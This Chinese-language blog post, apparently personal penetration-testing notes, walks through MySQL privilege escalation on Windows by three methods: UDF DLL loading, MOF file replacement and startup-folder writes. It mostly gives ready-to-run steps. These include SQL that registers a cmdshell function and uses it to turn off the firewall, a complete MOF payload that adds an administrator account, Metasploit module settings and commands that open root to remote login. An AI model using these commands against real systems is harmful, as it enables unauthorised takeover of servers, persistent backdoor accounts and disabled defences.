MySQL提权


MySQL提权

流程:服务探针——信息收集——提权利用——获取权限

提权前提:获取数据库最高管理员的账户密码

  • 读取网站数据库配置文件(了解其命名规则及查找技巧)
sql、data、inc、config、conn、database、common、include
  • 读取数据库存储或备份文件(了解数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.MYD    (表内容)
  • 暴力破解(了解数据库是否支持外联及如何开启外联)

UDF提权

利用root权限,创建带有调用cmd函数的udf.dll(动态链接库)。当我们把udf.dll导出指定文件夹引入MySQL时,其中的调用函数拿出来当作MySQL的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,MySQL账号转化为system权限,从而来提权。

MySQL < 5.1 udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32

MySQL => 5.1 udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

查看数据库服务版本信息

select @@version;
select version();

查看数据库安装目录

select @@basedir;
select basedir();

查看MySQL安装路径

show variables like '%plugins%'; 

利用NTFS ADS创建lib目录

select 'x' into dumpfile '安装目录\\lib::$INDEX_ALLOCATION';

利用NTFS ADS创建plugin目录

select 'x' into dumpfile '安装目录\\lib\\plugin::$INDEX_ALLOCATION';

UDF提权文件所在位置

msf的UDF文件原C++函数没有写异常处理,那么MySQL加载的时候会使MySQL出错导致断开连接。

metasploit下的动态链接库

image-20210410101535951

sqlmap下的动态链接库

image-20210410101703903

sqlmap下的4个UDF文件是经过编码的,如果直接丢在MySQL的plugin目录下是无法加载的,需要用sqlmap/extra/cloak/cloak.py进行解码

python .\cloak.py -d -i ..\..\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll

image-20210410101854163

导出dll到指定目录

可以使用msf中mysql_udf_payload模块

条件:

secure_auth=YES (运行导出文件)

secure_file_prive=空 (可以导出任意文件到任意位置)

查看是否允许文件导出导入

show variables like "%secure%";

导出dll

select 'lib_mysqludf_sys.dll' into outfile '安装目录/lib/pulgin/udf.dll';

创建cmdshell 函数 (该函数叫什么名字在后续中则使用该函数进行查询)

create function cmdshell returns string soname 'udf.dll';

# [AGGREATE]是聚集函数的表示,系统定义的聚集函数比如有COUNT()、AVE()、MN()、MAX()、SUM()
# SONAME 'file'表示这个函数从哪个文件里面引入,而这个文件一般是动态链接库,windows下是dll,linux是so,并且这个文件要在mysql的plugin目录下

执行命令

select cmdshell('whoami');
# 关闭windows防火墙和筛选
select cmdshell('net stop policyagent');     
select cmdshell('net stop sharedaccess');
select cmdshell('netsh advfirewall set allprofiles state off');

udf.dll下常见函数

cmdshell     //执行cmd;
downloader     //下载者,到网上下载指定文件并保存到指定目录;
open3389     //通用开3389终端服务,可指定端口(不改端口无需重启);
backshell     //反弹Shell;
ProcessView //枚举系统进程;
KillProcess //终止指定进程;
regread     //读注册表;
regwrite     //写注册表;
shut         //关机,注销,重启;
about         //说明与帮助函数;

MOF提权

MOF是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做托管对象格式其作用是每隔五秒就会去监控进程创建和死亡。

其实就是用了MySQL的root权限了以后,然后使用root权限去执行我们上传的MOF。隔了一定时间以后这个MOF就会被执行,这个MOF当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

MOF提权过程:

  1. 将MOF上传至任意可读可写目录下
  2. 更改MOF文件代码
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};
  1. 使用SQL语句将系统当中默认的nullevt.mof给替换掉
select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

MSF进行MOF提权

Msf下的exploit/windows/mysql/mysql_mof模块提供了直接MOF提权,不过该漏洞成功跟操作系统权限和MySQL数据库版本有关,执行成功后会直接反弹shell到meterpreter。

use exploit/windows/mysql/mysql_mof
set rhost IP //设置需要提权的远程主机IP地址
set rport 3306 //设置mysql的远程端口
set password root //设置mysql数据库root密码
set username root //设置mysql用户名
show options //查看设置
exploit

MySQL允许远程root登入

一:
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
二:
GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
FLUSH PRIVILEGES;

启动项提权

导出自定义可执行文件到启动目录配合重启执行

将创建好的后门或执行文件进行服务器启动项写入,配合重启执行

MSF进行启动项提权

use exploit/windows/mysql/mysql_start_up
set rhost IP //设置需要提权的远程主机IP地址
set rport 3306 //设置mysql的远程端口
set password root //设置mysql数据库root密码
set username root //设置mysql用户名
show options //查看设置
exploit

Windows下三种MySQL提权剖析

MySQL数据库渗透及漏洞利用总结

mof提权原理及其过程


文章作者: Sheng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Sheng !
  目录